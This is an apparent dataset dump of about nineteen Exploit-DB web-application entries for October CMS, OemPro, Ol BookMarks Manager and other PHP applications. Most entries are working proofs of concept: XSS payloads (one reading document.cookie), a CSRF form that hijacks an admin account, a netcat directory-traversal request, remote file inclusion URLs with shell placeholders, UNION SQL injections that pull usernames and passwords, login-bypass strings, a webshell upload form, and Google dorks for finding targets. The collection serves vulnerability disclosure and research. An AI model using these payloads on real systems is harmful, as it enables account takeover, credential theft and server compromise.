deardaniel/secdata-raw huggingface dataset:
Exploit-DB #51630
Description: October CMS v3.4.4 - Stored Cross-Site Scripting (XSS) (Authenticated)
Type: webapps
Platform: php
Date: 2023-07-28
Author: Okan Kurtulus

Exploit:
#Exploit Title: October CMS v3.4.4 - Stored Cross-Site Scripting (XSS) (Authenticated)
#Date: 29 June 2023
#Exploit Author: Okan Kurtulus
#Vendor Homepage: https://octobercms.com
#Version: v3.4.4
#Tested on: Ubuntu 22.04
#CVE : N/A

# Proof of Concept:
1– Install the system through the website and log in with any user with file upload authority.
2– Select "Media" in the top menu. Prepare an SVG file using the payload below.
3– Upload the SVG file and call the relevant file from the directory it is in. XSS will be triggered.

#Stored XSS Payload:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
  <script type="text/javascript">
    alert(1);
  </script>
</svg>
Exploit-DB #42978
Description: OctoberCMS 1.0.425 (Build 425) - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2017-10-12
Author: Ishaq Mohammed

Exploit:
# Exploit Title: OctoberCMS 1.0.425 (aka Build 425) Stored XSS
# Vendor Homepage: https://octobercms.com/
# Software Link: https://octobercms.com/download
# Exploit Author: Ishaq Mohammed ( https://www.exploit-db.com/author/?a=9086)
# Contact: https://twitter.com/security_prince
# Website: https://about.me/security-prince
# Category: webapps
# CVE: CVE-2017-15284

1. Description

Cross-Site Scripting exists in OctoberCMS 1.0.425 (aka Build 425), allowing
a least privileged user to upload an SVG file containing malicious code as
the Avatar for the profile. When this is opened by the Admin, it causes
JavaScript execution in the context of the Admin account.

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-15284

2. Proof of Concept

Steps to Reproduce:

   - Login using a normal user and click on my account.
   - Click on the avatar.
   - Upload the malicious .svg file which contains the javascript
   - Click on save.
   - Login in another browser with Admin Credentials.
   - Click on Settings > Administrators.
   - Select the normal user's avatar and click on Attachment URL.

3. Reference

https://securityprince.blogspot.fr/2017/10/cve-2017-15284-octobercms-10425-build.html
https://github.com/octobercms/library/commit/3bbbbf3da469f457881b5af902eb0b89b95189a2

4. Solution

The vulnerability will be patched by the vendor in the next release of
OctoberCMS.

-- 
Best Regards,
Ishaq Mohammed
https://about.me/security-prince
Exploit-DB #43106
Description: OctoberCMS 1.0.426 (Build 426) - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2017-11-01
Author: Zain Sabahat

Exploit:
# Exploit Title: OctoberCMS 1.0.426 - CSRF to Admin Account Takover
# Vendor Homepage: https://octobercms.com
# Software Link: https://octobercms.com/download
# Exploit Author: Zain Sabahat
# Website: https://about.me/ZainSabahat
# Category: webapps
# CVE: CVE-2017-16244
 
1. Description

Cross-Site Request Forgery exists in OctoberCMS 1.0.426 (aka Build 426) due to improper validation of CSRF Tokens for postback handling, allowing an attacker to successfully take over the victim's account.
The vendor was using additional X-CSRF Headers and CSRF Token to prevent the CSRF from occurring.The researcher found a way to bypass this protection.After digging more in the Application he found a postback variable "_handler=" which could be used to perform CSRF without X-Headers.The CSRF Tokens were also not being validated when _handler parameter was used to make the request.
In short, this attack bypasses a protection mechanism involving X-CSRF headers and CSRF tokens via a certain _handler postback variable.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16244
https://vuldb.com/?id.108857 

2. Proof of Concept
 Below is the CSRF Exploit (.html) which can lead to the takeover of the Admin's Account upon successful execution.

<html>
  <body>
    <form action="http://host/backend/users/myaccount" method="POST">
      <input type="hidden" name="&#95;handler" value="onSave" />
      <input type="hidden" name="User&#91;login&#93;" value="Admin" />
      <input type="hidden" name="User&#91;email&#93;" value="Hacked&#64;hacked&#46;com" />
      <input type="hidden" name="User&#91;first&#95;name&#93;" value="Admin" />
      <input type="hidden" name="User&#91;last&#95;name&#93;" value="1337" />
      <input type="hidden" name="User&#91;password&#93;" value="YourNewPassword" />
      <input type="hidden" name="User&#91;password&#95;confirmation&#93;" value="YourNewPassword" />
      <input type="hidden" name="redirect" value="0" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Upon execution of this CSRF, the Admin Account details will be replaced by ours leading to complete hijacking of Admin Account.
 
3. Reference
 
   https://github.com/octobercms/october/commit/4a6e0e1e0e2c3facebc17e0db38c5b4d4cb05bd0
   https://vuldb.com/?id.108857

4. Solution
 
The vulnerability will be patched by the vendor in the next release of OctoberCMS.Following changes should be made for a temporary fix (https://github.com/octobercms/october/commit/4a6e0e1e0e2c3facebc17e0db38c5b4d4cb05bd0).
Exploit-DB #38129
Description: Octogate UTM 3.0.12 - Admin Interface Directory Traversal
Type: webapps
Platform: php
Date: 2015-09-10
Author: Oliver Karow

Exploit:
# Exploit Title: Octogate UTM Admin Interface Directory Traversal
# Date: 26.08.2015
# Software Link: http://www.octogate.com
# Exploit Author: Oliver Karow
# Contact: oliver.karow@gmx.de
# Website: http://www.oliverkarow.de
# Category: Remote Exploit


Affected Products/Versions
--------------------------

Product Name: Octogate
Version: 3.0.12 - Virtual Appliance & Appliance


Product/Company Information
---------------------------

Octogate is a UTM Device, including the following features: Application
Firewall, Intrusion Detection and -Prevention, Stateful- & Deep Packet
Inspection, DoS- and DDoS protection and Reverse Proxy.

Octogate IT Security Systems GmbH is based in Germany.


Vulnerability Description
-------------------------

Octogate UTM Device is managed via web interface. The download function
for SSL-Certifcate and Documentation is accessable without
authentication, and allows access to files outside of the web root via
the script /scripts/download.php.

Example request:

echo -en
"GET /scripts/download.php?file=/../../../../../../octo/etc/ini.d/octogate.ini&type=dl
HTTP/1.0\r\nHost: 192.168.0.177\r\nReferer:
http://192.168.0.177\r\nConnection: close\r\n\r\n" | nc 192.168.0.177 80

Patch Information
-----------------

Patch is available from vendor.

Advisory Information
--------------------

http://www.oliverkarow.de/research/octogate.txt
Exploit-DB #5906
Description: odars CMS 1.0.2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-06-22
Author: CraCkEr

Exploit:
???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??                          [ Remote File Include ]                         ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : uNiTeD CraCkiNg ForCE  ? ?                                    ?
?   Script   : ODARS CMS 1.0.2        ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????
  

http://localhost/path/src/browser/resource/categories/resource_categories_view.php?CLASSES_ROOT=[SHELL]


??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, CwG GeNiuS

??????????????????????????????????????????????????????????????????????????????
??                              © CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2008-06-22]
Exploit-DB #34260
Description: odCMS 1.07 - 'archive.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-05
Author: John Leitch

Exploit:
source: https://www.securityfocus.com/bid/41422/info

odCMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

odCMS 1.07 is vulnerable; other versions may also be affected.


http://www.example.com/odcms/codes/archive.php?design=%3Cscript%3Ealert(0)%3C/script%3E
Exploit-DB #26898
Description: ODFaq 2.1 - 'faq.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15958/info

ODFaq is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/faq.php?cat=1[SQL]
Exploit-DB #11340
Description: odlican.net CMS 1.5 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-02-06
Author: anonymous

Exploit:
#odlican.net cms v.1.5 remote file upload vulnerability


#Author: Anonymous


#you can download following cms here
#http://cms.odlican.net/files/cmsv1-5.zip



#Info:odlican.net cms v.1.5 is simple opensource cms made by croatian web designers
and it has serious flaw.


#dork:Powered by odlican.net cms v.1.5



#what is vulnerable?

this is vulnerable part of code from upload.php and it will upload any file to /cms/files/ folder(including dangerous php scripts)

if ( isset($_POST['pokreni'])){
	 $target_path = "files/";
	 $target_path = $target_path . basename( $_FILES['uploadedfile']['name']);
	 if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {echo "Datoteka ". basename( $_FILES['uploadedfile']['name']). " je snimljena na server";} else{ echo "Došlo je do greške pokušajte ponovno!";}
	 }




#there should be code that will filter some extensions like .php etc.....

#fixajte si taj kod. dodajte da skripta provjerava ekstenzije i velicinu filea

#pozz
Exploit-DB #29050
Description: Odysseus Blog 1.0 - 'blog.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-16
Author: the_Edit0r

Exploit:
source: https://www.securityfocus.com/bid/21128/info

Odysseus Blog is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker to steal cookie-based authentication credentials and launch other attacks.

Version 1.0.0 is vulnerable; other versions may also be affected.

http://www.example.com/[path]/blog.php?page="><script>alert('Xmors')</script><
Exploit-DB #44895
Description: OEcms 3.1 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-06-15
Author: Renzi

Exploit:
# Title: OEcms 3.1 - Cross-Site Scripting 
# Author: Felipe "Renzi" Gabriel
# Date: 2018-06-15
# Software: OEcms v3.1
# CVE: CVE-2018-12095
 
# Technical Details & Description:
# A Reflected Cross-Site Scripting web vulnerability has been discovered in the "OEcms v3.1" web-application.
# The vulnerability is located in the 'mod' parameter of the`info.php` action GET method request.
 
# PoC
 
http://Target/cms/info.php?mod=list"</|\><plaintext/onmouseover=prompt(/XSS/)>
Exploit-DB #16106
Description: OemPro 3.6.4 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-03
Author: Ignacio Garrido

Exploit:
# Exploit title: Multiple vulnerabilities on OemPro
# Product: OemPro
# Version Affected: v3.6.4 and probably prior.
# Date: 03/02/2011
# Author: Ignacio Garrido
# Vendor: http://octeth.com
# Tested on: Linux - Windows 2003
# Mail: Ign.sec@gmail.com

# Path disclosure:
http://localhost/cli_bounce.php

# FCKEditor 2.3.2 is used, file upload vulnerabilities have been found
before (Credits to grabz), making possible to bypass any kind of restriction
when uploading a media file.
# A malintentioned user could exploit this flaw to upload a webshell. Perms
to create a folder are needed though.
# Vulnerable file:
http://localhost/system/data/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media
# Possible upload path:
http://localhost/system/data/user_uploads/Image/
http://localhost/user_uploads/image/

# Exploit:
<form enctype="multipart/form-data" action="
http://localhost/system/data/editors/fckeditor/editor/filemanager/upload/php/upload.php?Type=Media"
method="post">
<input name="NewFile" type="file">
<input type="submit" value="Subir">
</form>


# Several SQL injections have been found all the encoded input data it's
only being decoded but not properly filtered.
# A few examples:

# link.php, line 123 to 126
http://localhost/link.php?URL=[ENC URL]&Name=&EncryptedMemberID=[ENCODED
SQLI]&CampaignID=9&CampaignStatisticsID=16&Demo=0&Email=[MAIL]

    $SQLQuery = "SELECT * FROM ".$ArrayConfig['Database']['Prefix']."members
WHERE MemberID='".$MemberID."'";
    $ResultSet = ExecuteMySQLQuery($SQLQuery);
    $ArrayMember = mysql_fetch_assoc($ResultSet);

# html_version.php, line 43 to 48
http://localhost/html_version.php?ECID=[SQL]

    $EncryptedCampaignID    = ($_GET['ECID'] == '' ?
$_POST['FormValue_ECID'] : $_GET['ECID']);

        if ($EncryptedCampaignID != '')
            {
            $CampaignID = base64_decode(rawurldecode($EncryptedCampaignID));
            $PublicDisplay = true;
            }

# archive.php
http://localhost/archive.php?ArchiveID=

    $ArchiveListID            = ($_GET['ArchiveID'] == '' ?
$_POST['FormValue_ArchiveID'] : $_GET['ArchiveID']);
    $ArchiveListID        = base64_decode($ArchiveListID);

    $SQLQuery ="SELECT * FROM
".$ArrayConfig['Database']['Prefix']."archive_list WHERE
ArchiveListID='".$ArchiveListID."'";
    $ResultSet = ExecuteMySQLQuery($SQLQuery);
    $ArrayArchive = mysql_fetch_assoc($ResultSet);
Exploit-DB #27303
Description: Oi! Email Marketing System 3.0 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-02-23
Author: h4cky0u

Exploit:
source: https://www.securityfocus.com/bid/16794/info

Oi! Email Marketing System is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation. Exploitation may also cause a denial of service condition.

go to http://www.example.com/oi/index.php

In this login page provide the following inputs:

Username : username' OR '

Password : ' OR '
Exploit-DB #3012
Description: Okul Merkezi Portal 1.0 - 'ataturk.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-12-25
Author: ShaFuck31

Exploit:
# LiderHack.Org & BhhGroup.Org & Bilgi-Yonetimi.Org.Tr

# script name : Okul Merkezi Portal v1.0

# GoogLe Dork : ogrencimezunlar.php

# Script Download : http://www.okulmerkezi.com/omdemo/

# Risk : High

# Found By : ShaFuck31

# Thanks : | Dekolax | The RéD | DesquneR | f1r3b0y | BaZaL | SaboTaqe | ST@ReXT | BLaSTER | UNiKnoX |

# Vulnerable file : ataturk.php

#Vuln :
http://www.victim.com/ScriptPath/ataturk.php?page=[sheLL]

#Contact: ShaFuq31 (at) HoTMaiL (dot) CoM [email concealed]

# milw0rm.com [2006-12-25]
Exploit-DB #4539
Description: Okul Otomasyon Portal 2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2007-10-16
Author: dumenci

Exploit:
################################  Dumenci v19.1   ###################################
####                       Okul Otomasyon Portal v2.0                            ####
####                          remote sql injection                               ####
#####################################################################################
#                                                                                   #
#AUTHOR : Okulumun sitesi                                                           #
#Script Download : http://www.okulumunsitesi.com/                                   #
#DORK: "inurl:/k12.tr/?part="                                                       #
#                                                                                   #
#                                                                                   #
#                                                                                   #
# Injection Adress : http://site.com/default.asp?islem=1&id=[sql code]              #
# my COD : -1+union+select+0,1,id,baslik,4,5,6+from+haber                           #
#                                                                                   #
#                                                                                   #
#                                                                                   #
#                                                                                   #
#                                MEFISTO,KÄ±nSÄ±ze,CyberGhost                      #tr#
#####################################################################################

# milw0rm.com [2007-10-16]
Exploit-DB #31162
Description: okul siteleri 'com_mezun' Component - SQL Injection
Type: webapps
Platform: php
Date: 2008-02-12
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27755/info

'okul siteleri' is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://ww.example.com/index.php?option=com_mezun&task=edit&hidemainmenu=S@BUN&id=-9999999/**/union/**/select/**/concat(username,0x3a,password),username,password,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a,0x3a/**/from/**/jos_users/*
Exploit-DB #30140
Description: Okyanusmedya - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-06-04
Author: vagrant

Exploit:
source: https://www.securityfocus.com/bid/24285/info

Okyanusmedya is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/index.php?pages=%3E%22%3E%3CScRiPt%20%0a%0d%3Ealert(document.cookie)%3B%3C/ScRiPt%3E http://www.example.com/index.php?pages=menu=3E%22%3E%3CScRiPt%20%0a%0d%3Ealert(document.cookie)%3B%3C/script%3E
Exploit-DB #3962
Description: Ol BookMarks Manager 0.7.4 - 'root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-05-21
Author: ThE TiGeR

Exploit:
#Olbookmarks =>0.7.4 multiple RFI (root)

Download script :

#D0rk : allintitle:ol'bookmarks

#Thanks Str0ke

#Exploit : http://mesh.dl.sourceforge.net/sourceforge/olbookmarks/olbookmarks-0.7.4.tar.gz

#http://victime.com/olbookmarks-0.7.4/themes/test1.php?root=shell

#http://victime.com/path/themes/blackorange.php?root=shell

#http://victime.com/path/theme/default.php?root=shell

#http://victime.com/path/theme/frames1.php?root=shell

#http://victime.com/path/theme/frames1_top.php?root=shell

#http://victime.com/path/theme/test1.php?root=shell

#http://victime.com/path/theme/test2.php?root=shell

#http://victime.com/path/theme/test3.php?root=shell

#http://victime.com/path/theme/test4.php?root=shell

#http://victime.com/path/theme/test5.php?root=shell

#http://victime.com/path/theme/test6.php?root=shell

#http://victime.com/path/theme/frames1_left.php?root=shell

#http://victime.com/path/theme/frames1_center.php?root=shell

#Discovered by ThE TiGeR

#Miro_Tiger[at]Hotmail[dot]com

# milw0rm.com [2007-05-21]
Exploit-DB #3964
Description: Ol BookMarks Manager 0.7.4 - SQL Injection
Type: webapps
Platform: php
Date: 2007-05-21
Author: Mehmet Ince

Exploit:
==========================================================================

Ol Bookmarks Manager 0.7.4 (root) Remote SQL Injection Vulnerabilities

==========================================================================

Found by: Cyber-Security

==========================================================================

D0rk : allintitle:ol'bookmarks

==========================================================================

Download: http://mesh.dl.sourceforge.net/sourceforge/olbookmarks/olbookmarks-0.7.4.tar.gz

==========================================================================

/read/index.php?name=alex&id=-1/**/union/**/select/**/0,1,2,3,4,5,password,login,8,9,10,11,12/**/from/**/preferences/*

Example: http://www.blex.co.uk/bookmarks

==========================================================================
thanx: ThE TiGeR couse he found RFI to this script:)
==========================================================================

# milw0rm.com [2007-05-21]